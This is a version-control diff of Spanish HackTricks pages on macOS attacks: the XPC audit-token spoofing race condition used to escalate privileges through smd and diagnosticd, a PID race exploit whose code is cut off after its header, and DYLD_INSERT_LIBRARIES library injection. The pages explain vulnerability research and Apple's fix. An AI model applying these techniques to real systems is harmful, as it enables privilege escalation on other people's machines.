Este ejemplo utiliza un **`fork`** crudo para lanzar **procesos hijos que aprovecharán la condición de carrera del PID** y luego explotar **otra condición de carrera a través de un enlace duro:**
Este ejemplo utiliza un **`fork`** en bruto para lanzar **hijos que explotarán la condición de carrera de PID** y luego explotarán **otra condición de carrera a través de un enlace duro:**
```objectivec
// export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
// gcc -framework Foundation expl.m -o expl
@ -297,16 +298,17 @@ return 0;
* [https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/](https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/)
* [https://saelo.github.io/presentations/warcon18\_dont\_trust\_the\_pid.pdf](https://saelo.github.io/presentations/warcon18\_dont\_trust\_the\_pid.pdf)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,35 +1,36 @@
# Ataque xpc\_connection\_get\_audit\_token
# macOS xpc\_connection\_get\_audit\_token Attack
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Para más información consulta la publicación original:** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/). Este es un resumen:
**Para más información, consulta la publicación original:** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/). Este es un resumen:
## Información Básica sobre Mensajes Mach
Si no sabes qué son los Mensajes Mach, comienza revisando esta página:
Si no sabes qué son los Mensajes Mach, comienza a revisar esta página:
{% content-ref url="../../" %}
[..](../../)
{% endcontent-ref %}
Por el momento, recuerda que ([definición desde aquí](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
Los mensajes Mach se envían a través de un _puerto mach_, que es un canal de comunicación de **un solo receptor, múltiples emisores** integrado en el núcleo mach. **Múltiples procesos pueden enviar mensajes** a un puerto mach, pero en cualquier momento **solo un proceso puede leer de él**. Al igual que los descriptores de archivos y los sockets, los puertos mach son asignados y gestionados por el núcleo y los procesos solo ven un entero, que pueden usar para indicar al núcleo cuál de sus puertos mach desean utilizar.
Por el momento, recuerda que ([definición de aquí](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
Los mensajes Mach se envían a través de un _puerto mach_, que es un canal de comunicación de **un solo receptor, múltiples remitentes** integrado en el núcleo mach. **Múltiples procesos pueden enviar mensajes** a un puerto mach, pero en cualquier momento **solo un único proceso puede leer de él**. Al igual que los descriptores de archivo y los sockets, los puertos mach son asignados y gestionados por el núcleo y los procesos solo ven un entero, que pueden usar para indicar al núcleo cuál de sus puertos mach desean utilizar.
## Conexión XPC
Si no sabes cómo se establece una conexión XPC, verifica:
Si no sabes cómo se establece una conexión XPC, revisa:
{% content-ref url="../" %}
[..](../)
@ -37,100 +38,115 @@ Si no sabes cómo se establece una conexión XPC, verifica:
## Resumen de Vulnerabilidades
Lo interesante que debes saber es que **la abstracción de XPC es una conexión uno a uno**, pero se basa en una tecnología que **puede tener múltiples emisores, por lo tanto:**
Lo que es interesante que sepas es que **la abstracción de XPC es una conexión uno a uno**, pero se basa en una tecnología que **puede tener múltiples remitentes, así que:**
* Los puertos mach son de un solo receptor, **múltiples emisores**.
* El token de auditoría de una conexión XPC es el token de auditoría **copiado del mensaje más recientemente recibido**.
* Los puertos mach son de un solo receptor, **múltiples remitentes**.
* El token de auditoría de una conexión XPC es el token de auditoría **copiado del mensaje recibido más recientemente**.
* Obtener el **token de auditoría** de una conexión XPC es crítico para muchas **verificaciones de seguridad**.
Aunque la situación anterior suena prometedora, hay escenarios donde esto no causará problemas ([desde aquí](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
Aunque la situación anterior suena prometedora, hay algunos escenarios donde esto no causará problemas ([de aquí](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
* Los tokens de auditoría se utilizan a menudo para una verificación de autorización para decidir si aceptar una conexión. Como esto sucede utilizando un mensaje al puerto de servicio, **aún no se ha establecido una conexión**. Más mensajes en este puerto solo se manejarán como solicitudes de conexión adicionales. Por lo tanto, **las verificaciones antes de aceptar una conexión no son vulnerables** (esto también significa que dentro de `-listener:shouldAcceptNewConnection:` el token de auditoría es seguro). Por lo tanto, **buscamos conexiones XPC que verifiquen acciones específicas**.
* Los manejadores de eventos XPC se manejan de forma síncrona. Esto significa que el manejador de eventos para un mensaje debe completarse antes de llamarlo para el siguiente, incluso en colas de despacho concurrentes. Por lo tanto, dentro de un **manejador de eventos XPC, el token de auditoría no puede ser sobrescrito** por otros mensajes normales (¡no de respuesta!).
* Los tokens de auditoría se utilizan a menudo para una verificación de autorización para decidir si aceptar una conexión. Como esto ocurre utilizando un mensaje al puerto de servicio, **no hay conexión establecida aún**. Más mensajes en este puerto simplemente se manejarán como solicitudes de conexión adicionales. Por lo tanto, cualquier **verificación antes de aceptar una conexión no es vulnerable** (esto también significa que dentro de `-listener:shouldAcceptNewConnection:` el token de auditoría es seguro). Por lo tanto, **buscamos conexiones XPC que verifiquen acciones específicas**.
* Los controladores de eventos XPC se manejan de manera sincrónica. Esto significa que el controlador de eventos para un mensaje debe completarse antes de llamarlo para el siguiente, incluso en colas de despacho concurrentes. Por lo tanto, dentro de un **controlador de eventos XPC, el token de auditoría no puede ser sobrescrito** por otros mensajes normales (¡no de respuesta!).
Dos métodos diferentes en los que esto podría ser explotable:
1. Variante1:
* El **exploit se conecta** al servicio **A** y al servicio **B**
* El servicio **B** puede llamar a una **funcionalidad privilegiada** en el servicio **A** que el usuario no puede
* El servicio **A** llama a **`xpc_connection_get_audit_token`** mientras _**no**_ está dentro del **manejador de eventos** para una conexión en un **`dispatch_async`**.
* Por lo tanto, un **mensaje diferente** podría **sobrescribir el Token de Auditoría** porque se está despachando de forma asíncrona fuera del manejador de eventos.
* El exploit pasa a **servicio B el derecho de ENVÍO a servicio A**.
* Entonces svc **B** realmente estará **enviando** los **mensajes** al servicio **A**.
* El **exploit** intenta **llamar** a la **acción privilegiada**. En un RC svc **A** **verifica** la autorización de esta **acción** mientras **svc B sobrescribió el Token de Auditoría** (dando al exploit acceso para llamar a la acción privilegiada).
1. Variante 1:
* **El exploit** **se conecta** al servicio **A** y al servicio **B**
* El servicio **B** puede llamar a una **funcionalidad privilegiada** en el servicio A que el usuario no puede
* El servicio **A** llama a **`xpc_connection_get_audit_token`** mientras _**no**_ está dentro del **controlador de eventos** para una conexión en un **`dispatch_async`**.
* Por lo tanto, un **mensaje diferente** podría **sobrescribir el Token de Auditoría** porque se está despachando de manera asíncrona fuera del controlador de eventos.
* El exploit pasa al **servicio B el derecho de ENVÍO al servicio A**.
* Por lo tanto, el svc **B** estará realmente **enviando** los **mensajes** al servicio **A**.
* El **exploit** intenta **llamar** a la **acción privilegiada.** En un RC, el svc **A** **verifica** la autorización de esta **acción** mientras **el svc B sobrescribió el token de auditoría** (dando al exploit acceso para llamar a la acción privilegiada).
2. Variante 2:
* El servicio **B** puede llamar a una **funcionalidad privilegiada** en el servicio **A** que el usuario no puede
* El exploit se conecta con el **servicio A** que **envía** al exploit un **mensaje esperando una respuesta** en un **puerto de respuesta** específico.
* El servicio **B** puede llamar a una **funcionalidad privilegiada** en el servicio A que el usuario no puede
* El exploit se conecta con **el servicio A** que **envía** al exploit un **mensaje esperando una respuesta** en un **puerto de respuesta** específico.
* El exploit envía al **servicio** B un mensaje pasando **ese puerto de respuesta**.
* Cuando el servicio **B responde**, **envía el mensaje al servicio A**, **mientras** que el **exploit** envía un mensaje diferente al servicio A intentando **acceder a una funcionalidad privilegiada** y esperando que la respuesta de servicio B sobrescriba el Token de Auditoría en el momento perfecto (Condición de Carrera).
* Cuando el servicio **B responde**, **envía el mensaje al servicio A**, **mientras** el **exploit** envía un **mensaje diferente al servicio A** tratando de **alcanzar una funcionalidad privilegiada** y esperando que la respuesta del servicio B sobrescriba el token de auditoría en el momento perfecto (Condición de Carrera).
## Variante 1: llamando a xpc\_connection\_get\_audit\_token fuera de un manejador de eventos <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
## Variante 1: llamando a xpc\_connection\_get\_audit\_token fuera de un controlador de eventos <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
Escenario:
* Dos servicios mach **`A`** y **`B`** a los que ambos podemos conectarnos (basado en el perfil de sandbox y las verificaciones de autorización antes de aceptar la conexión).
* _**A**_ debe tener una **verificación de autorización** para una acción específica que **`B`** puede pasar (pero nuestra aplicación no puede).
* Por ejemplo, si B tiene algunos **privilegios** o se está ejecutando como **root**, podría permitirle pedir a A que realice una acción privilegiada.
* Para esta verificación de autorización, **`A`** obtiene el token de auditoría de forma asíncrona, por ejemplo, llamando a `xpc_connection_get_audit_token` desde **`dispatch_async`**.
* Por ejemplo, si B tiene algunos **derechos** o se está ejecutando como **root**, podría permitirle pedir a A que realice una acción privilegiada.
* Para esta verificación de autorización, **`A`** obtiene el token de auditoría de manera asíncrona, por ejemplo, llamando a `xpc_connection_get_audit_token` desde **`dispatch_async`**.
{% hint style="danger" %}
En este caso, un atacante podría desencadenar una **Condición de Carrera** creando un **exploit** que **pide a A que realice una acción** varias veces mientras hace que **B envíe mensajes a `A`**. Cuando la CC es **exitosa**, el **token de auditoría** de **B** se copiará en la memoria **mientras** la solicitud de nuestro **exploit** está siendo **manejada** por A, dándole **acceso a la acción privilegiada que solo B podría solicitar**.
En este caso, un atacante podría desencadenar una **Condición de Carrera** haciendo un **exploit** que **pide a A que realice una acción** varias veces mientras hace que **B envíe mensajes a `A`**. Cuando la RC es **exitosa**, el **token de auditoría** de **B** será copiado en memoria **mientras** la solicitud de nuestro **exploit** está siendo **manejada** por A, dándole **acceso a la acción privilegiada que solo B podría solicitar**.
{% endhint %}
Esto sucedió con **`A`** como `smd` y **`B`** como `diagnosticd`. La función [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) de smb se puede utilizar para instalar una nueva herramienta auxiliar privilegiada (como **root**). Si un **proceso que se ejecuta como root** contacta a **smd**, no se realizarán otras verificaciones.
Esto sucedió con **`A`** como `smd` y **`B`** como `diagnosticd`. La función [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) de smb se puede usar para instalar un nuevo ayudante privilegiado (como **root**). Si un **proceso que se ejecuta como root contacta** **smd**, no se realizarán más verificaciones.
Por lo tanto, el servicio **B** es **`diagnosticd`** porque se ejecuta como **root** y se puede utilizar para **monitorear** un proceso, por lo que una vez que comienza el monitoreo, **enviará múltiples mensajes por segundo.**
Por lo tanto, el servicio **B** es **`diagnosticd`** porque se ejecuta como **root** y se puede usar para **monitorear** un proceso, así que una vez que se ha iniciado el monitoreo, **enviará múltiples mensajes por segundo.**
Para realizar el ataque:
1. Iniciar una **conexión** al servicio llamado `smd` utilizando el protocolo XPC estándar.
2. Formar una **conexión secundaria** a `diagnosticd`. Contrariamente al procedimiento normal, en lugar de crear y enviar dos nuevos puertos mach, el derecho de envío del puerto del cliente se sustituye por una duplicado del **derecho de envío** asociado con la conexión de `smd`.
3. Como resultado, los mensajes XPC pueden ser despachados a `diagnosticd`, pero las respuestas de `diagnosticd` se redirigen a `smd`. Para `smd`, parece como si los mensajes tanto del usuario como de `diagnosticd` provinieran de la misma conexión.
2. Formar una **conexión** secundaria a `diagnosticd`. Contrario al procedimiento normal, en lugar de crear y enviar dos nuevos puertos mach, el derecho de envío del puerto del cliente se sustituye por un duplicado del **derecho de envío** asociado con la conexión `smd`.
3. Como resultado, los mensajes XPC pueden ser despachados a `diagnosticd`, pero las respuestas de `diagnosticd` son redirigidas a `smd`. Para `smd`, parece que los mensajes tanto del usuario como de `diagnosticd` provienen de la misma conexión.
![Imagen que representa el proceso del exploit](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
![Imagen que representa el proceso de exploit](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
4. El siguiente paso implica instruir a `diagnosticd` para iniciar el monitoreo de un proceso elegido (potencialmente el del usuario). Concurrentemente, se envía una inundación de mensajes rutinarios 1004 a `smd`. La intención aquí es instalar una herramienta con privilegios elevados.
4. El siguiente paso implica instruir a `diagnosticd` para que inicie el monitoreo de un proceso elegido (potencialmente el propio del usuario). Al mismo tiempo, se envía una inundación de mensajes rutinarios 1004 a `smd`. La intención aquí es instalar una herramienta con privilegios elevados.
5. Esta acción desencadena una condición de carrera dentro de la función `handle_bless`. El tiempo es crítico: la llamada a la función `xpc_connection_get_pid` debe devolver el PID del proceso del usuario (ya que la herramienta privilegiada reside en el paquete de la aplicación del usuario). Sin embargo, la función `xpc_connection_get_audit_token`, específicamente dentro de la subrutina `connection_is_authorized`, debe hacer referencia al token de auditoría perteneciente a `diagnosticd`.
## Variante 2: reenvío de respuestas
En un entorno de IPC (Comunicación entre Procesos) XPC, aunque los manejadores de eventos no se ejecutan concurrentemente, el manejo de mensajes de respuesta tiene un comportamiento único. Específicamente, existen dos métodos distintos para enviar mensajes que esperan una respuesta:
En un entorno XPC (Comunicación entre Procesos), aunque los controladores de eventos no se ejecutan de manera concurrente, el manejo de mensajes de respuesta tiene un comportamiento único. Específicamente, existen dos métodos distintos para enviar mensajes que esperan una respuesta:
1. **`xpc_connection_send_message_with_reply`**: Aquí, el mensaje XPC es recibido y procesado en una cola designada.
2. **`xpc_connection_send_message_with_reply_sync`**: Por el contrario, en este método, el mensaje XPC es recibido y procesado en la cola de despacho actual.
1. **`xpc_connection_send_message_with_reply`**: Aquí, el mensaje XPC se recibe y procesa en una cola designada.
2. **`xpc_connection_send_message_with_reply_sync`**: Por el contrario, en este método, el mensaje XPC se recibe y procesa en la cola de despacho actual.
Esta distinción es crucial porque permite la posibilidad de que los **paquetes de respuesta sean analizados concurrentemente con la ejecución de un manejador de eventos XPC**. Es importante destacar que mientras `_xpc_connection_set_creds` implementa bloqueo para proteger contra la sobrescritura parcial del token de auditoría, no extiende esta protección al objeto de conexión completo. En consecuencia, esto crea una vulnerabilidad donde el token de auditoría puede ser reemplazado durante el intervalo entre el análisis de un paquete y la ejecución de su manejador de eventos.
Esta distinción es crucial porque permite la posibilidad de que **los paquetes de respuesta se analicen de manera concurrente con la ejecución de un controlador de eventos XPC**. Notablemente, mientras que `_xpc_connection_set_creds` implementa un bloqueo para protegerse contra la sobrescritura parcial del token de auditoría, no extiende esta protección a todo el objeto de conexión. En consecuencia, esto crea una vulnerabilidad donde el token de auditoría puede ser reemplazado durante el intervalo entre el análisis de un paquete y la ejecución de su controlador de eventos.
Para explotar esta vulnerabilidad, se requiere la siguiente configuración:
* Dos servicios mach, referidos como **`A`** y **`B`**, ambos capaces de establecer una conexión.
* Dos servicios mach, denominados **`A`** y **`B`**, ambos de los cuales pueden establecer una conexión.
* El servicio **`A`** debe incluir una verificación de autorización para una acción específica que solo **`B`** puede realizar (la aplicación del usuario no puede).
* El servicio **`A`** debe enviar un mensaje que espera una respuesta.
* El usuario puede enviar un mensaje a **`B`** al que responderá.
* El servicio **`A`** debe enviar un mensaje que anticipa una respuesta.
* El usuario puede enviar un mensaje a **`B`** al que este responderá.
El proceso de explotación implica los siguientes pasos:
1. Esperar a que el servicio **`A`** envíe un mensaje que espera una respuesta.
2. En lugar de responder directamente a **`A`**, se secuestra el puerto de respuesta y se utiliza para enviar un mensaje a servicio **`B`**.
3. Posteriormente, se despacha un mensaje que involucra la acción prohibida, con la expectativa de que se procese concurrentemente con la respuesta de **`B`**.
2. En lugar de responder directamente a **`A`**, se secuestra el puerto de respuesta y se utiliza para enviar un mensaje al servicio **`B`**.
3. Posteriormente, se despacha un mensaje que involucra la acción prohibida, con la expectativa de que se procese de manera concurrente con la respuesta de **`B`**.
A continuación se muestra una representación visual del escenario de ataque descrito:
![https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png](../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
!\[https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png]\(../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
<figure><img src="../../../../../../.gitbook/assets/image (33).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
## Problemas de Descubrimiento
* **Dificultades para Localizar Instancias**: La búsqueda de instancias de uso de `xpc_connection_get_audit_token` fue desafiante, tanto estática como dinámicamente.
* **Metodología**: Se empleó Frida para enganchar la función `xpc_connection_get_audit_token`, filtrando llamadas que no se originan desde manejadores de eventos. Sin embargo, este método estaba limitado al proceso enganchado y requería un uso activo.
* **Dificultades para Localizar Instancias**: Buscar instancias del uso de `xpc_connection_get_audit_token` fue un desafío, tanto estática como dinámicamente.
* **Metodología**: Se utilizó Frida para enganchar la función `xpc_connection_get_audit_token`, filtrando llamadas que no provenían de controladores de eventos. Sin embargo, este método estaba limitado al proceso enganchado y requería uso activo.
* **Herramientas de Análisis**: Se utilizaron herramientas como IDA/Ghidra para examinar servicios mach alcanzables, pero el proceso fue lento, complicado por llamadas que involucraban la caché compartida de dyld.
* **Limitaciones de Scripting**: Los intentos de scriptear el análisis de llamadas a `xpc_connection_get_audit_token` desde bloques `dispatch_async` fueron obstaculizados por complejidades en el análisis de bloques e interacciones con la caché compartida de dyld.
* **Limitaciones de Scripting**: Los intentos de scriptar el análisis para llamadas a `xpc_connection_get_audit_token` desde bloques `dispatch_async` se vieron obstaculizados por complejidades en el análisis de bloques e interacciones con la caché compartida de dyld.
## La solución <a href="#the-fix" id="the-fix"></a>
* **Problemas Reportados**: Se envió un informe a Apple detallando los problemas generales y específicos encontrados dentro de `smd`.
* **Problemas Reportados**: Se presentó un informe a Apple detallando los problemas generales y específicos encontrados dentro de `smd`.
* **Respuesta de Apple**: Apple abordó el problema en `smd` sustituyendo `xpc_connection_get_audit_token` por `xpc_dictionary_get_audit_token`.
* **Naturaleza de la Solución**: La función `xpc_dictionary_get_audit_token` se considera segura ya que recupera el token de auditoría directamente del mensaje mach vinculado al mensaje XPC recibido. Sin embargo, no forma parte de la API pública, similar a `xpc_connection_get_audit_token`.
* **Ausencia de una Solución más Amplia**: No está claro por qué Apple no implementó una solución más integral, como descartar mensajes que no se alinean con el token de auditoría guardado de la conexión. La posibilidad de cambios legítimos en el token de auditoría en ciertos escenarios (por ejemplo, uso de `setuid`) podría ser un factor.
* **Estado Actual**: El problema persiste en iOS 17 y macOS 14, lo que representa un desafío para aquellos que intentan identificarlo y comprenderlo.
* **Ausencia de una Solución Más Amplia**: No está claro por qué Apple no implementó una solución más integral, como descartar mensajes que no se alineen con el token de auditoría guardado de la conexión. La posibilidad de cambios legítimos en el token de auditoría en ciertos escenarios (por ejemplo, uso de `setuid`) podría ser un factor.
* **Estado Actual**: El problema persiste en iOS 17 y macOS 14, representando un desafío para aquellos que buscan identificarlo y comprenderlo.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Inyección de Bibliotecas en macOS
# macOS Library Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% hint style="danger" %}
El código de **dyld es de código abierto** y se puede encontrar en [https://opensource.apple.com/source/dyld/](https://opensource.apple.com/source/dyld/) y se puede descargar un tar usando una **URL como** [https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
@ -28,41 +29,41 @@ Echa un vistazo a cómo Dyld carga bibliotecas dentro de binarios en:
## **DYLD\_INSERT\_LIBRARIES**
Esto es similar al [**LD\_PRELOAD en Linux**](../../../../linux-hardening/privilege-escalation/#ld\_preload). Permite indicar a un proceso que se va a ejecutar para cargar una biblioteca específica desde una ruta (si la variable de entorno está habilitada).
Esto es como el [**LD\_PRELOAD en Linux**](../../../../linux-hardening/privilege-escalation/#ld\_preload). Permite indicar a un proceso que se va a ejecutar que cargue una biblioteca específica desde una ruta (si la variable de entorno está habilitada).
Esta técnica también puede ser **utilizada como técnica ASEP** ya que cada aplicación instalada tiene un archivo plist llamado "Info.plist" que permite la **asignación de variables de entorno** utilizando una clave llamada `LSEnvironmental`.
Esta técnica también puede ser **utilizada como una técnica ASEP** ya que cada aplicación instalada tiene un plist llamado "Info.plist" que permite la **asignación de variables ambientales** usando una clave llamada `LSEnvironmental`.
{% hint style="info" %}
Desde 2012 **Apple ha reducido drásticamente el poder** de **`DYLD_INSERT_LIBRARIES`**.
Ve al código y **verifica `src/dyld.cpp`**. En la función **`pruneEnvironmentVariables`** puedes ver que las variables **`DYLD_*`** son eliminadas.
En la función **`processRestricted`** se establece la razón de la restricción. Revisando ese código puedes ver que las razones son:
En la función **`processRestricted`** se establece la razón de la restricción. Al revisar ese código puedes ver que las razones son:
* El binario es `setuid/setgid`
* Existencia de la sección `__RESTRICT/__restrict` en el binario macho.
* El software tiene entitlements (tiempo de ejecución endurecido) sin el entitlement [`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables)
* Verifica los **entitlements** de un binario con: `codesign -dv --entitlements :- </ruta/al/bin>`
* El software tiene derechos (runtime endurecido) sin el derecho [`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables)
* Verifica los **derechos** de un binario con: `codesign -dv --entitlements :- </path/to/bin>`
En versiones más actualizadas puedes encontrar esta lógica en la segunda parte de la función **`configureProcessRestrictions`.** Sin embargo, lo que se ejecuta en las versiones más nuevas son las **verificaciones iniciales de la función** (puedes eliminar los ifs relacionados con iOS o simulación ya que no se usarán en macOS.
En versiones más actualizadas puedes encontrar esta lógica en la segunda parte de la función **`configureProcessRestrictions`.** Sin embargo, lo que se ejecuta en versiones más nuevas son los **chequeos iniciales de la función** (puedes eliminar los ifs relacionados con iOS o simulación ya que esos no se usarán en macOS).
{% endhint %}
### Validación de Bibliotecas
Incluso si el binario permite el uso de la variable de entorno **`DYLD_INSERT_LIBRARIES`**, si el binario verifica la firma de la biblioteca para cargarla, no cargará una personalizada.
Incluso si el binario permite usar la variable de entorno **`DYLD_INSERT_LIBRARIES`**, si el binario verifica la firma de la biblioteca para cargarla, no cargará una personalizada.
Para cargar una biblioteca personalizada, el binario necesita tener **uno de los siguientes entitlements**:
Para cargar una biblioteca personalizada, el binario necesita tener **uno de los siguientes derechos**:
